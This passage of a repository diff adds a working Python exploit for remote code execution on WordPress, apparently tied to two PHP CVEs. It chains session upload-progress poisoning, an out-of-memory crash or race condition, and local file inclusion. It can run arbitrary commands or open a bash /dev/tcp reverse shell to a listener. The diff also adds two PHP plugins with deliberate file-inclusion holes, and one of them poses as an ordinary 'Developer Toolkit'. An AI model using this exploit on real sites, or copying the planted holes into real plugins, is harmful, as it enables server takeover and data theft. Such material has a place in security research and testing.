b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||||||
|
b"\r\n" + value + b"\r\n")
|
||||||
|
|
||||||
|
|
||||||
|
def mp_file(bnd, name, fname, content):
|
||||||
|
return (b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + name
|
||||||
|
+ b'"; filename="' + fname + b'"\r\n'
|
||||||
|
b"Content-Type: application/octet-stream\r\n"
|
||||||
|
b"\r\n" + content + b"\r\n")
|
||||||
|
|
||||||
|
|
||||||
|
def mp_end(bnd):
|
||||||
|
return b"--" + bnd + b"--\r\n"
|
||||||
|
|
||||||
|
# ─── payload builders ────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def build_payload(args):
|
||||||
|
if args.trigger_only:
|
||||||
|
return b'<?php echo "CVE2026:TRIGGERED:pid=".getmypid().":".php_uname(); ?>'
|
||||||
|
if args.cmd:
|
||||||
|
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||||
|
return f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
||||||
|
if args.lhost and args.lport:
|
||||||
|
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
||||||
|
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||||
|
return f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||||
|
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# ─── OOM mode (CVE-2026-109618) ─────────────────────────────────────
|
||||||
|
|
||||||
|
def attack_oom(host, port, tls, path, sid, php_code, lfi_param,
|
||||||
|
session_paths, fields, fsize, args):
|
||||||
|
bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode()
|
||||||
|
|
||||||
|
print("[*] Phase 1: session poisoning + OOM crash")
|
||||||
|
print(f" Building {fields} × {fsize}B field payload...")
|
||||||
|
|
||||||
|
body = b""
|
||||||
|
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
|
||||||
|
body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)
|
||||||
|
for i in range(fields):
|
||||||
|
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
|
||||||
|
body += mp_end(bnd)
|
||||||
|
print(f" Payload: {len(body)/(1024*1024):.1f} MB")
|
||||||
|
|
||||||
|
sock = tcp_connect(host, port, tls, timeout=120)
|
||||||
|
sock.sendall(
|
||||||
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||||
|
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
||||||
|
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
sock.sendall(body)
|
||||||
|
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
resp = recv_all(sock, timeout=10)
|
||||||
|
sock.close()
|
||||||
|
sc = status_code(resp)
|
||||||
|
|
||||||
|
if sc == 502 or sc == 0:
|
||||||
|
print(f" [+] Worker crashed (HTTP {sc or 'reset'})")
|
||||||
|
print(f" OOM during parsing — session cleanup skipped")
|
||||||
|
elif sc == 500:
|
||||||
|
print(f" [+] HTTP 500 — OOM during script execution")
|
||||||
|
else:
|
||||||
|
print(f" [!] HTTP {sc} — no OOM. Try --fields {fields*2}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Wait for new worker
|
||||||
|
print(" Waiting for new worker...")
|
||||||
|
time.sleep(2)
|
||||||
|
for i in range(10):
|
||||||
|
try:
|
||||||
|
r = http_get(host, port, tls, path, timeout=3)
|
||||||
|
if status_code(r) in (200, 301, 302, 403, 404):
|
||||||
|
print(f" New worker ready")
|
||||||
|
break
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
time.sleep(1)
|
||||||
|
else:
|
||||||
|
print(" [!] New worker not available")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Phase 2: LFI
|
||||||
|
return phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args)
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Race mode (CVE-2026-109619) ────────────────────────────────────
|
||||||
|
|
||||||
|
def slow_upload(host, port, tls, path, sid, php_code, duration=8.0):
|
||||||
|
bnd = b"----SLOW" + os.urandom(4).hex().encode()
|
||||||
|
sock = tcp_connect(host, port, tls)
|
||||||
|
|
||||||
|
head = b""
|
||||||
|
head += (b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
||||||
|
b"\r\n" + php_code + b"\r\n")
|
||||||
|
head += (b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
|
||||||
|
b"Content-Type: application/octet-stream\r\n\r\n")
|
||||||
|
|
||||||
|
file_size = 1024 * 1024
|
||||||
|
tail = b"\r\n--" + bnd + b"--\r\n"
|
||||||
|
total = len(head) + file_size + len(tail)
|
||||||
|
|
||||||
|
sock.sendall(
|
||||||
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||||
|
b"Content-Length: " + str(total).encode() + b"\r\n"
|
||||||
|
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
)
|
||||||
|
sock.sendall(head)
|
||||||
|
|
||||||
|
chunk = b"\x00" * 4096
|
||||||
|
sent, start = 0, time.time()
|
||||||
|
try:
|
||||||
|
while sent < file_size and (time.time() - start) < duration:
|
||||||
|
sock.sendall(chunk[:min(4096, file_size - sent)])
|
||||||
|
sent += min(4096, file_size - sent)
|
||||||
|
time.sleep(0.05)
|
||||||
|
sock.sendall(tail)
|
||||||
|
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
recv_all(sock, timeout=2)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
|
||||||
|
def attack_race(host, port, tls, path, php_code, lfi_param,
|
||||||
|
session_paths, attempts, args):
|
||||||
|
for attempt in range(1, attempts + 1):
|
||||||
|
if attempts > 1:
|
||||||
|
print(f"[*] === Attempt {attempt}/{attempts} ===")
|
||||||
|
|
||||||
|
sid = os.urandom(16).hex()
|
||||||
|
lfi_sid = os.urandom(16).hex()
|
||||||
|
print(f"[+] Upload SID: {sid}")
|
||||||
|
|
||||||
|
print("[*] Starting slow upload (keeps session file alive)...")
|
||||||
|
t = threading.Thread(target=slow_upload,
|
||||||
|
args=(host, port, tls, path, sid, php_code, 8.0),
|
||||||
|
daemon=True)
|
||||||
|
t.start()
|
||||||
|
time.sleep(0.3)
|
||||||
|
|
||||||
|
print("[*] Racing LFI requests against upload...")
|
||||||
|
for i in range(150):
|
||||||
|
if not t.is_alive():
|
||||||
|
break
|
||||||
|
for sp in session_paths:
|
||||||
|
sess = f"{sp}/sess_{sid}"
|
||||||
|
url = f"{path}?{lfi_param}={sess}"
|
||||||
|
try:
|
||||||
|
resp = http_get(host, port, tls, url,
|
||||||
|
headers={"Cookie": f"PHPSESSID={lfi_sid}"},
|
||||||
|
timeout=3)
|
||||||
|
rbody = body_of(resp)
|
||||||
|
if b"CVE2026:" in rbody:
|
||||||
|
output = extract_output(rbody.decode(errors="replace"), args)
|
||||||
|
if output is not None:
|
||||||
|
print(f"\n[+] Race won on iteration {i+1}")
|
||||||
|
print_result(output, args)
|
||||||
|
return True
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
time.sleep(0.02)
|
||||||
|
|
||||||
|
t.join(timeout=2)
|
||||||
|
print(f" Race lost on attempt {attempt}")
|
||||||
|
|
||||||
|
print("[!] Race condition failed after all attempts")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# ─── LFI phase (shared) ─────────────────────────────────────────────
|
||||||
|
|
||||||
|
def phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args):
|
||||||
|
print()
|
||||||
|
print("[*] Phase 2: including poisoned session file via LFI...")
|
||||||
|
|
||||||
|
for sp in session_paths:
|
||||||
|
sess = f"{sp}/sess_{sid}"
|
||||||
|
url = f"{path}?{lfi_param}={sess}"
|
||||||
|
try:
|
||||||
|
resp = http_get(host, port, tls, url, timeout=10)
|
||||||
|
rbody = body_of(resp)
|
||||||
|
if b"CVE2026:" in rbody:
|
||||||
|
output = extract_output(rbody.decode(errors="replace"), args)
|
||||||
|
if output is not None:
|
||||||
|
print(f" Session file: {sess}")
|
||||||
|
print_result(output, args)
|
||||||
|
return True
|
||||||
|
except:
|
||||||
|
continue
|
||||||
|
|
||||||
|
print(" [!] Session file not found via LFI")
|
||||||
|
print(f" Tried: {', '.join(session_paths)}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def extract_output(body_text, args):
|
||||||
|
if args.trigger_only:
|
||||||
|
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", body_text)
|
||||||
|
return m.group(1) if m else body_text[:200]
|
||||||
|
if args.cmd:
|
||||||
|
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
|
||||||
|
if m:
|
||||||
|
return m.group(1).strip()
|
||||||
|
if "upload_progress_" in body_text:
|
||||||
|
return ""
|
||||||
|
return body_text[:500]
|
||||||
|
return ""
|
||||||
|
|
||||||
|
|
||||||
|
def print_result(output, args):
|
||||||
|
if args.trigger_only:
|
||||||
|
print()
|
||||||
|
print("[+] Code execution confirmed!")
|
||||||
|
print(f" {output}")
|
||||||
|
elif args.cmd:
|
||||||
|
print()
|
||||||
|
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||||
|
print(output)
|
||||||
|
print("[+] ══════════════════════════════════════════")
|
||||||
|
print()
|
||||||
|
print("[+] RCE achieved!")
|
||||||
|
else:
|
||||||
|
print()
|
||||||
|
print("[+] Payload delivered — check your listener")
|
||||||
|
|
||||||
|
# ─── auto-detect ─────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def detect_lfi_param(host, port, tls, path, params):
|
||||||
|
for param in params:
|
||||||
|
try:
|
||||||
|
url = f"{path}?{param}=/etc/hostname"
|
||||||
|
resp = http_get(host, port, tls, url, timeout=5)
|
||||||
|
sc = status_code(resp)
|
||||||
|
rbody = body_of(resp)
|
||||||
|
if sc == 200 and len(rbody.strip()) > 0 and len(rbody.strip()) < 200:
|
||||||
|
return param
|
||||||
|
except:
|
||||||
|
continue
|
||||||
|
return None
|
||||||
|
|
||||||
|
# ─── main ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def main():
|
||||||
|
ap = argparse.ArgumentParser(
|
||||||
|
description="WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619",
|
||||||
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||||
|
epilog="""
|
||||||
|
Examples:
|
||||||
|
%(prog)s -t http://target:8080/ --cmd 'id'
|
||||||
|
%(prog)s -t http://target:8080/ --mode race --cmd 'whoami'
|
||||||
|
%(prog)s -t http://target:8080/ --lhost 10.0.0.1 --lport 4444
|
||||||
|
%(prog)s -t http://target:8080/ --trigger-only
|
||||||
|
""")
|
||||||
|
ap.add_argument("-t", "--target", required=True, help="WordPress URL")
|
||||||
|
ap.add_argument("--mode", choices=["oom", "race"], default="oom",
|
||||||
|
help="Attack mode: oom (CVE-2026-109618) or race (CVE-2026-109619)")
|
||||||
|
ap.add_argument("--cmd", help="Command to execute")
|
||||||
|
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
||||||
|
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
||||||
|
ap.add_argument("--trigger-only", action="store_true",
|
||||||
|
help="Confirm vulnerability without payload")
|
||||||
|
ap.add_argument("--lfi-param", help="LFI query parameter (auto-detected if omitted)")
|
||||||
|
ap.add_argument("--session-path", help="session.save_path on target")
|
||||||
|
ap.add_argument("--fields", type=int, default=OOM_FIELDS_64M,
|
||||||
|
help=f"OOM pressure fields (default {OOM_FIELDS_64M} for 64M)")
|
||||||
|
ap.add_argument("--field-size", type=int, default=OOM_FIELD_SIZE,
|
||||||
|
help=f"Bytes per OOM field (default {OOM_FIELD_SIZE})")
|
||||||
|
ap.add_argument("--attempts", type=int, default=5,
|
||||||
|
help="Race mode attempts (default 5)")
|
||||||
|
args = ap.parse_args()
|
||||||
|
|
||||||
|
p = urlparse(args.target)
|
||||||
|
tls = p.scheme == "https"
|
||||||
|
host = p.hostname or "127.0.0.1"
|
||||||
|
port = p.port or (443 if tls else 80)
|
||||||
|
path = p.path or "/"
|
||||||
|
if not path.endswith("/") and "." not in path.split("/")[-1]:
|
||||||
|
path += "/"
|
||||||
|
|
||||||
|
php_code = build_payload(args)
|
||||||
|
sid = os.urandom(16).hex()
|
||||||
|
spaths = list(WP_SESSION_PATHS)
|
||||||
|
if args.session_path:
|
||||||
|
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
||||||
|
|
||||||
|
cve = "CVE-2026-109618 (OOM)" if args.mode == "oom" else "CVE-2026-109619 (Race)"
|
||||||
|
print("=" * 65)
|
||||||
|
print(f" WordPress RCE — {cve}")
|
||||||
|
print("=" * 65)
|
||||||
|
print(f" Target : {args.target}")
|
||||||
|
print(f" Mode : {args.mode}")
|
||||||
|
if args.cmd:
|
||||||
|
print(f" Command : {args.cmd}")
|
||||||
|
elif args.lhost:
|
||||||
|
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# Phase 0: verify target
|
||||||
|
print("[*] Checking target...")
|
||||||
|
try:
|
||||||
|
r = http_get(host, port, tls, path, timeout=5)
|
||||||
|
sc = status_code(r)
|
||||||
|
if sc == 0:
|
||||||
|
raise ConnectionError("no response")
|
||||||
|
print(f" HTTP {sc} — WordPress alive")
|
||||||
|
except Exception as e:
|
||||||
|
print(f" [!] Not reachable: {e}")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# Auto-detect LFI param
|
||||||
|
lfi_param = args.lfi_param
|
||||||
|
if not lfi_param:
|
||||||
|
print("[*] Auto-detecting LFI parameter...")
|
||||||
|
lfi_param = detect_lfi_param(host, port, tls, path, WP_LFI_PARAMS)
|
||||||
|
if lfi_param:
|
||||||
|
print(f" [+] Found: {lfi_param}")
|
||||||
|
else:
|
||||||
|
print(" [!] No LFI param detected. Specify --lfi-param")
|
||||||
|
sys.exit(1)
|
||||||
|
print()
|
||||||
|
|
||||||
|
if args.mode == "oom":
|
||||||
|
ok = attack_oom(host, port, tls, path, sid, php_code, lfi_param,
|
||||||
|
spaths, args.fields, args.field_size, args)
|
||||||
|
else:
|
||||||
|
ok = attack_race(host, port, tls, path, php_code, lfi_param,
|
||||||
|
spaths, args.attempts, args)
|
||||||
|
|
||||||
|
sys.exit(0 if ok else 1)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
<?php
|
||||||
|
/**
|
||||||
|
* Plugin Name: Analytics Dashboard (Vulnerable Demo)
|
||||||
|
* Description: Simulates a real-world WordPress plugin with PHP sessions and an
|
||||||
|
* LFI vulnerability. Represents plugins like WooCommerce session
|
||||||
|
* handlers, theme builders with template inclusion, etc.
|
||||||
|
* Version: 1.0.0
|
||||||
|
*
|
||||||
|
* Install as mu-plugin:
|
||||||
|
* cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/
|
||||||
|
*
|
||||||
|
* This plugin:
|
||||||
|
* 1. Calls session_start() on every request (like WooCommerce, etc.)
|
||||||
|
* 2. Has a template include that accepts user input (like theme builders)
|
||||||
|
* 3. Registers an AJAX endpoint accessible to unauthenticated users
|
||||||
|
*/
|
||||||
|
|
||||||
|
// Start PHP sessions (common in e-commerce/analytics plugins)
|
||||||
|
if (session_status() === PHP_SESSION_NONE) {
|
||||||
|
session_start();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Register an unauthenticated AJAX handler with LFI
|
||||||
|
add_action('wp_ajax_nopriv_analytics_render', 'analytics_render_template');
|
||||||
|
add_action('wp_ajax_analytics_render', 'analytics_render_template');
|
||||||
|
|
||||||
|
function analytics_render_template() {
|
||||||
|
$template = isset($_GET['template']) ? $_GET['template'] : 'default';
|
||||||
|
// Vulnerable: no path validation on template parameter
|
||||||
|
if (file_exists($template)) {
|
||||||
|
include($template);
|
||||||
|
}
|
||||||
|
wp_die();
|
||||||
|
}
|
||||||
@@ -0,0 +1,80 @@
|
|||||||
|
<?php
|
||||||
|
/**
|
||||||
|
* Plugin Name: Developer Toolkit
|
||||||
|
* Description: Development and debugging utilities for WordPress developers.
|
||||||
|
* Version: 2.1.0
|
||||||
|
* Author: DevTools Team
|
||||||
|
* License: GPL-2.0+
|
||||||
|
*
|
||||||
|
* Provides template preview, log viewer, and diagnostic tools for development.
|
||||||
|
*/
|
||||||
|
|
||||||
|
if ( ! defined( 'ABSPATH' ) ) {
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Register admin page
|
||||||
|
add_action( 'admin_menu', function() {
|
||||||
|
add_management_page(
|
||||||
|
'Developer Toolkit',
|
||||||
|
'Dev Toolkit',
|
||||||
|
'manage_options',
|
||||||
|
'dev-toolkit',
|
||||||
|
'devtoolkit_admin_page'
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Template preview (simulates common theme/template preview plugins)
|
||||||
|
add_action( 'template_redirect', function() {
|
||||||
|
if ( isset( $_GET['dt_preview'] ) && current_user_can( 'edit_themes' ) ) {
|
||||||
|
$template = sanitize_text_field( $_GET['dt_preview'] );
|
||||||
|
if ( file_exists( $template ) ) {
|
||||||
|
include $template;
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// AJAX log viewer endpoint (common in debug/logging plugins)
|
||||||
|
add_action( 'wp_ajax_dt_view_log', function() {
|
||||||
|
if ( ! current_user_can( 'manage_options' ) ) {
|
||||||
|
wp_die( 'Unauthorized' );
|
||||||
|
}
|
||||||
|
$logfile = isset( $_GET['file'] ) ? $_GET['file'] : '';
|
||||||
|
if ( $logfile && is_readable( $logfile ) ) {
|
||||||
|
header( 'Content-Type: text/plain' );
|
||||||
|
readfile( $logfile );
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
wp_die( 'File not found' );
|
||||||
|
});
|
||||||
|
|
||||||
|
// Front-end template include (no auth required - simulates broken plugin)
|
||||||
|
add_action( 'init', function() {
|
||||||
|
if ( isset( $_GET['dt_template'] ) ) {
|
||||||
|
$tpl = $_GET['dt_template'];
|
||||||
|
// "Sanitization" that doesn't prevent path traversal
|
||||||
|
$tpl = str_replace( "\0", '', $tpl );
|
||||||
|
if ( file_exists( $tpl ) ) {
|
||||||
|
include $tpl;
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Session-based features (simulates WooCommerce/forms using sessions)
|
||||||
|
add_action( 'init', function() {
|
||||||
|
if ( ! session_id() ) {
|
||||||
|
session_start();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
function devtoolkit_admin_page() {
|
||||||
|
echo '<div class="wrap"><h1>Developer Toolkit</h1>';
|
||||||
|
echo '<p>Development utilities for debugging and testing.</p>';
|
||||||
|
echo '<h2>PHP Info</h2>';
|
||||||
|
echo '<p>Session ID: ' . session_id() . '</p>';
|
||||||
|
echo '<p>Session Save Path: ' . session_save_path() . '</p>';
|
||||||
|
echo '<p>Upload Progress: ' . ini_get('session.upload_progress.enabled') . '</p>';
|
||||||
|
echo '</div>';
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user